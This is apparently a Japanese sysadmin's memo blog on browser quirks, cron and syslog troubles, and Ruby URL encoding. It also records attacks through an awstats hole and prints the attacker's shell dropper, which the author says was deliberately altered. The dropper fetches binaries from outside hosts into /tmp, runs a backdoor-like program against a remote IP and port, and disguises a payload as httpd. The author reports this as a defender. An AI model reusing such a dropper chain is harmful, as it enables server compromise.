僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
ブラウザを大きく開くと、前の行とくっつかないようだ?
要するに、一行をあまり長くしないように、そういうことだろう。
この点はどのブラウザでも共通するようだ。
FirefoxのWindows版およびMacOSX版でも、概ね似た感じ、 同じに使えそうな感触があった。
IE6などでもsambaを介して同じページを見てみた。
フォントサイズが随分と異って
はいるものの、hjklは有効だ。qandaやopaqueも、
一応使える。
でも、文字の出方がさらにさらに変。飛び出した
文字が止まってる文字とくっつくと同時に、揃って
一行上に跳ね上がったり、ちぐはぐに出てきたり。
Safariもなんか妙だ。IE6よりはましに見えたが、 "j"でのopaqueとrcutinが うまく動かない (emergはどうやら動いたが)。
crond、そしてsyslogdの再起動を忘れていたことにようやく
気付く。
namazuのインデックスの日付は古いまま、
定期メールも届かず、トップページも
更新されてない。そして/var/log/messagesも
Jan 24 21:18:15 以降ずっと何もなし...orz
awstatsの穴をついた攻撃はあいかわらずだ。 wgetで194.102.194.115にあるscripzとか いうシェルスクリプト を取っていた(以下、適当に 改竄しとく)。
$ cat scripz #!/bin/bah cd /tmp wget 2I9.84.1O5.36/ping mv ping cb chmod +x cb ./cb 2I0.245.233.25I 8O8O & killall -9 lordnikonz wget 3333052101/images/logo.jpg mv logo.jpg httpd rm -rf scripz chmod +x httpd export PATH="DOT" httpd
地獄へ逝け。
なんとか"URL%A5%C7%A5%B3%A1%BC%A5%C9"(っていうのか?)できた。
#!/usr/bin/env ruby require "cgi" foo="URLエンコード" bar= CGI::escape(foo) print bar,"\n" print CGI::unescape(bar),"\n"
apacheのアクセスログを読むのに、一々ブラウザにかける 必要がなくなりそうだ。ようやく。
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。